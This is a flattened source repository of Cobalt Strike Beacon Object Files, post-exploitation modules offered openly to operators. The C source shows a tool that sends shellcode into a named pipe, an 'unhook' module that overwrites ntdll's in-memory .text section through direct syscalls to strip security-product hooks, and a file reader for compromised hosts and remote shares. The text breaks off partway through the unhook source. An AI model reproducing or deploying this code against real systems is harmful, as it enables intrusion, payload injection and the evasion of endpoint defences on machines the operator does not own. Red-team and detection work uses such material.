├── README.md ├── cat ├── Makefile ├── beacon.h ├── cat.cna ├── cat.x64.o ├── cat.x86.o └── entry.c ├── send_shellcode_via_pipe ├── Makefile ├── beacon.h ├── entry.c ├── send_shellcode_via_pipe.cna ├── send_shellcode_via_pipe.x64.o └── send_shellcode_via_pipe.x86.o ├── unhook ├── Makefile ├── beacon.h ├── entry.c ├── syscalls.h ├── unhook.cna └── unhook.x64.o └── wts_enum_remote_processes ├── Makefile ├── beacon.h ├── entry.c ├── wts_enum_remote_processes.cna ├── wts_enum_remote_processes.x64.o └── wts_enum_remote_processes.x86.o /README.md: -------------------------------------------------------------------------------- 1 | # BOFs 2 | 3 | A collection of utilities for Cobalt Strike's Beacon Object Files to make our life easier. 4 | 5 | | Name | Description | Usage | 6 | |------|-------------|-------| 7 | `send_shellcode_via_pipe` | A BOF that allows the operator to send a shellcode or any byte content via a named pipe. | `send_shellcode_via_pipe `| 8 | `cat` | As the name implies, finally allows you to get the content of a text file from Cobalt Strike. Supports remote shares. | `cat ` 9 | `wts_enum_remote_processes` | Enumerate remote processes using WTS APIs, also useful to check if you have access to a system| `wts_enum_remote_processes `| 10 | `unhook` | A BOF that uses direct syscalls to remove the hooks from a user-specified module. Compatible only with 64 bit beacons. | `unhook `, `unhook ntdll.dll` | 11 | 12 | **NOTE**: Side effects could include: nose bleed, unrecoverable and immediate death of your beacons. 13 | 14 | A particular thanks to [@ajpc500](https://twitter.com/ajpc500) for inspiration ~~and from which I might or might not borrowed some code.~~ -------------------------------------------------------------------------------- /cat/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := cat 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | CC_x86 := i686-w64-mingw32-gcc 4 | 5 | all: 6 | $(CC_x64) -o $(BOFNAME).x64.o -c entry.c 7 | $(CC_x86) -o $(BOFNAME).x86.o -c entry.c -------------------------------------------------------------------------------- /cat/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /cat/cat.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "cat", 3 | "Cat the content of a file", 4 | "Synopsis: cat "); 5 | 6 | 7 | alias cat { 8 | local('$handle $data $args'); 9 | 10 | # figure out the arch of this session 11 | $barch = barch($1); 12 | 13 | # read in the right BOF file 14 | $handle = openf(script_resource("cat. $+ $barch $+ .o")); 15 | $data = readb($handle, -1); 16 | closef($handle); 17 | 18 | 19 | # pack our arguments 20 | $args = bof_pack($1, "z", $2); 21 | 22 | btask($1, "cat BOF (@dottor_morte)"); 23 | btask($1, "Reading file from: $+ $2"); 24 | 25 | # execute it. 26 | beacon_inline_execute($1, $data, "go", $args); 27 | } 28 | 29 | 30 | -------------------------------------------------------------------------------- /cat/cat.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RiccardoAncarani/BOFs/5fcb40161609db892f20f07acd596c6275084afd/cat/cat.x64.o -------------------------------------------------------------------------------- /cat/cat.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RiccardoAncarani/BOFs/5fcb40161609db892f20f07acd596c6275084afd/cat/cat.x86.o -------------------------------------------------------------------------------- /cat/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "beacon.h" 7 | 8 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(); 9 | 10 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA( 11 | LPCSTR lpFileName, 12 | DWORD dwDesiredAccess, 13 | DWORD dwShareMode, 14 | LPSECURITY_ATTRIBUTES lpSecurityAttributes, 15 | DWORD dwCreationDisposition, 16 | DWORD dwFlagsAndAttributes, 17 | HANDLE hTemplateFile 18 | ); 19 | 20 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA( 21 | HANDLE hFile, 22 | LPSECURITY_ATTRIBUTES lpFileMappingAttributes, 23 | DWORD flProtect, 24 | DWORD dwMaximumSizeHigh, 25 | DWORD dwMaximumSizeLow, 26 | LPCSTR lpName 27 | ); 28 | 29 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile( 30 | HANDLE hFileMappingObject, 31 | DWORD dwDesiredAccess, 32 | DWORD dwFileOffsetHigh, 33 | DWORD dwFileOffsetLow, 34 | SIZE_T dwNumberOfBytesToMap 35 | ); 36 | 37 | 38 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileSize( 39 | HANDLE hFile, 40 | LPDWORD lpFileSizeHigh 41 | ); 42 | 43 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile( 44 | LPCVOID lpBaseAddress 45 | ); 46 | 47 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle( 48 | HANDLE hObject 49 | ); 50 | 51 | // https://gist.github.com/ccbrown/9722406 52 | void DumpHex(const void* data, size_t size) { 53 | char ascii[17]; 54 | size_t i, j; 55 | ascii[16] = '\0'; 56 | for (i = 0; i < size; ++i) { 57 | BeaconPrintf(CALLBACK_OUTPUT,"%02X ", ((unsigned char*)data)[i]); 58 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { 59 | ascii[i % 16] = ((unsigned char*)data)[i]; 60 | } else { 61 | ascii[i % 16] = '.'; 62 | } 63 | if ((i+1) % 8 == 0 || i+1 == size) { 64 | BeaconPrintf(CALLBACK_OUTPUT," "); 65 | if ((i+1) % 16 == 0) { 66 | BeaconPrintf(CALLBACK_OUTPUT,"| %s \n", ascii); 67 | } else if (i+1 == size) { 68 | ascii[(i+1) % 16] = '\0'; 69 | if ((i+1) % 16 <= 8) { 70 | BeaconPrintf(CALLBACK_OUTPUT," "); 71 | } 72 | for (j = (i+1) % 16; j < 16; ++j) { 73 | BeaconPrintf(CALLBACK_OUTPUT," "); 74 | } 75 | BeaconPrintf(CALLBACK_OUTPUT,"| %s \n", ascii); 76 | } 77 | } 78 | } 79 | } 80 | 81 | void go(char *args, int len) { 82 | 83 | CHAR *file; 84 | datap parser; 85 | HANDLE hFile; 86 | BeaconDataParse(&parser, args, len); 87 | file = BeaconDataExtract(&parser, NULL); 88 | 89 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Opening handle to file"); 90 | 91 | hFile = KERNEL32$CreateFileA(file, 92 | GENERIC_READ, 93 | FILE_SHARE_READ, 94 | NULL, 95 | OPEN_EXISTING, 96 | 0x00100000, 97 | NULL); 98 | 99 | if (hFile == INVALID_HANDLE_VALUE) 100 | { 101 | BeaconPrintf(CALLBACK_ERROR, "Failed to open handle to file"); 102 | BeaconPrintf(CALLBACK_ERROR, "Last error: 0x%X", KERNEL32$GetLastError()); 103 | 104 | return; 105 | } 106 | 107 | DWORD fileSize = KERNEL32$GetFileSize(hFile, NULL); 108 | BeaconPrintf(CALLBACK_OUTPUT, "[+] File size: %d bytes", fileSize); 109 | 110 | HANDLE hMapping = KERNEL32$CreateFileMappingA(hFile, 0, PAGE_READONLY, 0, 0 ,0); 111 | BYTE* fileBytes = KERNEL32$MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); 112 | //DumpHex(fileBytes, fileSize); 113 | 114 | BeaconPrintf(CALLBACK_OUTPUT, "%s", fileBytes); 115 | 116 | KERNEL32$UnmapViewOfFile(fileBytes); 117 | KERNEL32$CloseHandle(hMapping); 118 | KERNEL32$CloseHandle(hFile); 119 | 120 | } -------------------------------------------------------------------------------- /send_shellcode_via_pipe/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := send_shellcode_via_pipe 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | CC_x86 := i686-w64-mingw32-gcc 4 | 5 | all: 6 | $(CC_x64) -o $(BOFNAME).x64.o -c entry.c 7 | $(CC_x86) -o $(BOFNAME).x86.o -c entry.c -------------------------------------------------------------------------------- /send_shellcode_via_pipe/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /send_shellcode_via_pipe/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "beacon.h" 7 | 8 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(); 9 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA( 10 | LPCSTR lpFileName, 11 | DWORD dwDesiredAccess, 12 | DWORD dwShareMode, 13 | LPSECURITY_ATTRIBUTES lpSecurityAttributes, 14 | DWORD dwCreationDisposition, 15 | DWORD dwFlagsAndAttributes, 16 | HANDLE hTemplateFile 17 | ); 18 | 19 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$InitializeSecurityDescriptor(PSECURITY_DESCRIPTOR pSecurityDescriptor, 20 | DWORD dwRevision); 21 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl( 22 | PSECURITY_DESCRIPTOR pSecurityDescriptor, 23 | BOOL bDaclPresent, 24 | PACL pDacl, 25 | BOOL bDaclDefaulted 26 | ); 27 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WaitNamedPipeA(LPCSTR lpNamedPipeName, 28 | DWORD nTimeOut); 29 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetNamedPipeHandleState( 30 | HANDLE hNamedPipe, 31 | LPDWORD lpMode, 32 | LPDWORD lpMaxCollectionCount, 33 | LPDWORD lpCollectDataTimeout 34 | ); 35 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$TransactNamedPipe( 36 | HANDLE hNamedPipe, 37 | LPVOID lpInBuffer, 38 | DWORD nInBufferSize, 39 | LPVOID lpOutBuffer, 40 | DWORD nOutBufferSize, 41 | LPDWORD lpBytesRead, 42 | LPOVERLAPPED lpOverlapped 43 | ); 44 | 45 | DECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t size); 46 | 47 | 48 | void go(char *args, int len) { 49 | 50 | char* sc_ptr; 51 | SIZE_T sc_len; 52 | CHAR *remotePipe; 53 | datap parser; 54 | HANDLE hPipe; 55 | 56 | BeaconDataParse(&parser, args, len); 57 | remotePipe = BeaconDataExtract(&parser, NULL); 58 | sc_len = BeaconDataLength(&parser); 59 | sc_ptr = BeaconDataExtract(&parser, NULL); 60 | 61 | 62 | BeaconPrintf(CALLBACK_OUTPUT, "Shellcode Size: %d bytes\n", sc_len); 63 | 64 | SECURITY_DESCRIPTOR SecDesc; 65 | ADVAPI32$InitializeSecurityDescriptor(&SecDesc, SECURITY_DESCRIPTOR_REVISION); 66 | ADVAPI32$SetSecurityDescriptorDacl(&SecDesc, TRUE, NULL, FALSE); 67 | 68 | SECURITY_ATTRIBUTES SecAttrib = {0}; 69 | SecAttrib.nLength = sizeof(SECURITY_ATTRIBUTES); 70 | SecAttrib.lpSecurityDescriptor = &SecDesc; 71 | SecAttrib.bInheritHandle = TRUE; 72 | 73 | 74 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Opening handle to pipe"); 75 | 76 | hPipe = KERNEL32$CreateFileA(remotePipe, 77 | GENERIC_READ | GENERIC_WRITE, 78 | 0, 79 | &SecAttrib, 80 | OPEN_EXISTING, 81 | 0x00100000, 82 | NULL); 83 | 84 | if (hPipe == INVALID_HANDLE_VALUE) 85 | { 86 | BeaconPrintf(CALLBACK_ERROR, "Failed to open handle to remote pipe"); 87 | BeaconPrintf(CALLBACK_ERROR, "Last error: 0x%X", KERNEL32$GetLastError()); 88 | 89 | return; 90 | } 91 | 92 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Pipe handle: 0x%X", hPipe); 93 | 94 | 95 | KERNEL32$WaitNamedPipeA(remotePipe, NULL); 96 | 97 | DWORD dwMode = PIPE_READMODE_MESSAGE; 98 | KERNEL32$SetNamedPipeHandleState( 99 | hPipe, 100 | &dwMode, 101 | NULL, 102 | NULL); 103 | 104 | DWORD cbWritten = 0; 105 | unsigned char *temp = (unsigned char*)MSVCRT$malloc(sc_len); 106 | 107 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Sending shellcode to the pipe"); 108 | 109 | BOOL result = KERNEL32$TransactNamedPipe(hPipe, sc_ptr, sc_len, temp, sc_len, &cbWritten, NULL); 110 | 111 | } -------------------------------------------------------------------------------- /send_shellcode_via_pipe/send_shellcode_via_pipe.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "send_shellcode_via_pipe", 3 | "Sends a shellcode via a named pipe", 4 | "Synopsis: send_shellcode_via_pipe "); 5 | 6 | 7 | alias send_shellcode_via_pipe { 8 | local('$handle $data $args $sc_data'); 9 | 10 | # figure out the arch of this session 11 | $barch = barch($1); 12 | 13 | # read in the right BOF file 14 | $handle = openf(script_resource("send_shellcode_via_pipe. $+ $barch $+ .o")); 15 | $data = readb($handle, -1); 16 | closef($handle); 17 | 18 | $sc_handle = openf($3); 19 | $sc_data = readb($sc_handle, -1); 20 | closef($sc_handle); 21 | 22 | # pack our arguments 23 | $args = bof_pack($1, "zb", $2, $sc_data); 24 | 25 | btask($1, "send_shellcode_via_pipe BOF (@dottor_morte)"); 26 | btask($1, "Reading shellcode from: $+ $4"); 27 | 28 | # execute it. 29 | beacon_inline_execute($1, $data, "go", $args); 30 | } 31 | 32 | 33 | -------------------------------------------------------------------------------- /send_shellcode_via_pipe/send_shellcode_via_pipe.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RiccardoAncarani/BOFs/5fcb40161609db892f20f07acd596c6275084afd/send_shellcode_via_pipe/send_shellcode_via_pipe.x64.o -------------------------------------------------------------------------------- /send_shellcode_via_pipe/send_shellcode_via_pipe.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RiccardoAncarani/BOFs/5fcb40161609db892f20f07acd596c6275084afd/send_shellcode_via_pipe/send_shellcode_via_pipe.x86.o -------------------------------------------------------------------------------- /unhook/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := unhook 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | 4 | all: 5 | $(CC_x64) -o $(BOFNAME).x64.o -c entry.c -masm=intel 6 | -------------------------------------------------------------------------------- /unhook/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /unhook/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "beacon.h" 4 | #include "syscalls.h" 5 | 6 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 7 | 8 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR); 9 | DECLSPEC_IMPORT BOOL WINAPI PSAPI$GetModuleInformation(HANDLE, HMODULE, LPMODULEINFO, DWORD); 10 | DECLSPEC_IMPORT char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source); 11 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2); 12 | WINBASEAPI BOOL WINAPI KERNEL32$FreeLibrary(HMODULE); 13 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR); 14 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile( HANDLE, DWORD, DWORD, DWORD, SIZE_T); 15 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA( 16 | LPCSTR lpFileName, 17 | DWORD dwDesiredAccess, 18 | DWORD dwShareMode, 19 | LPSECURITY_ATTRIBUTES lpSecurityAttributes, 20 | DWORD dwCreationDisposition, 21 | DWORD dwFlagsAndAttributes, 22 | HANDLE hTemplateFile 23 | ); 24 | 25 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(); 26 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE); 27 | 28 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetEnvironmentVariableA( 29 | LPCSTR lpName, 30 | LPSTR lpBuffer, 31 | DWORD nSize 32 | ); 33 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(); 34 | 35 | 36 | 37 | void go(char* args, int len) { 38 | 39 | CHAR *target_module; 40 | datap parser; 41 | BeaconDataParse(&parser, args, len); 42 | target_module = BeaconDataExtract(&parser, NULL); 43 | 44 | HANDLE process = KERNEL32$GetCurrentProcess(); 45 | MODULEINFO mi = { 0 }; 46 | 47 | // get systemroot 48 | CHAR systemRoot[250]; 49 | KERNEL32$GetEnvironmentVariableA("SystemRoot", systemRoot, 250); 50 | 51 | MSVCRT$strcat(systemRoot, "\\System32\\"); 52 | MSVCRT$strcat(systemRoot, target_module); 53 | 54 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Removing hooks from %s", systemRoot); 55 | 56 | HMODULE ntdllModule = KERNEL32$GetModuleHandleA((LPCSTR)target_module); 57 | 58 | if (ntdllModule == INVALID_HANDLE_VALUE) 59 | { 60 | BeaconPrintf(CALLBACK_ERROR, "Failed to open handle to module"); 61 | BeaconPrintf(CALLBACK_ERROR, "Last error: 0x%X", KERNEL32$GetLastError()); 62 | 63 | return; 64 | } 65 | 66 | PSAPI$GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); 67 | LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; 68 | HANDLE ntdllFile = KERNEL32$CreateFileA((LPCSTR)systemRoot, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 69 | 70 | if (ntdllFile == INVALID_HANDLE_VALUE) 71 | { 72 | BeaconPrintf(CALLBACK_ERROR, "Failed to open handle to file on disk"); 73 | BeaconPrintf(CALLBACK_ERROR, "Last error: 0x%X", KERNEL32$GetLastError()); 74 | 75 | return; 76 | } 77 | 78 | HANDLE ntdllMapping = KERNEL32$CreateFileMappingA(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); 79 | LPVOID ntdllMappingAddress = KERNEL32$MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); 80 | 81 | BeaconPrintf(CALLBACK_OUTPUT, "[+] NTDLL Mapping at 0x%p", ntdllMappingAddress); 82 | 83 | PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; 84 | PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); 85 | 86 | for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { 87 | PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); 88 | 89 | if (!MSVCRT$strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { 90 | ULONG oldProtection = 0; 91 | ULONG bytesWritten = 0; 92 | SIZE_T sectionSize = hookedSectionHeader->Misc.VirtualSize; 93 | LPVOID targetAddress = (LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress); 94 | 95 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Target Address: 0x%p", targetAddress); 96 | // BOOL isProtected = KERNEL32$VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); 97 | NTSTATUS result = NtProtectVirtualMemory(NtCurrentProcess(), &targetAddress, §ionSize, PAGE_EXECUTE_READWRITE, &oldProtection); 98 | if (result != 0) 99 | { 100 | BeaconPrintf(CALLBACK_ERROR, "Failed NtProtectVirtualMemory"); 101 | BeaconPrintf(CALLBACK_ERROR, "Last error: 0x%X", result); 102 | return; 103 | } 104 | //MSVCRT$memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); 105 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Overwriting section"); 106 | 107 | result = NtWriteVirtualMemory(NtCurrentProcess(), (LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, &bytesWritten); 108 | if (result != 0) 109 | { 110 | BeaconPrintf(CALLBACK_ERROR, "Failed NtWriteVirtualMemory"); 111 | BeaconPrintf(CALLBACK_ERROR, "Last error: 0x%X", result); 112 | return; 113 | } 114 | 115 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Restoring section page protection"); 116 | 117 | result = NtProtectVirtualMemory(NtCurrentProcess(), &targetAddress, §ionSize, PAGE_EXECUTE_READ, &oldProtection); 118 | if (result != 0) 119 | { 120 | BeaconPrintf(CALLBACK_ERROR, "Failed NtProtectVirtualMemory"); 121 | BeaconPrintf(CALLBACK_ERROR, "Last error: 0x%X", result); 122 | return; 123 | } 124 | } 125 | } 126 | 127 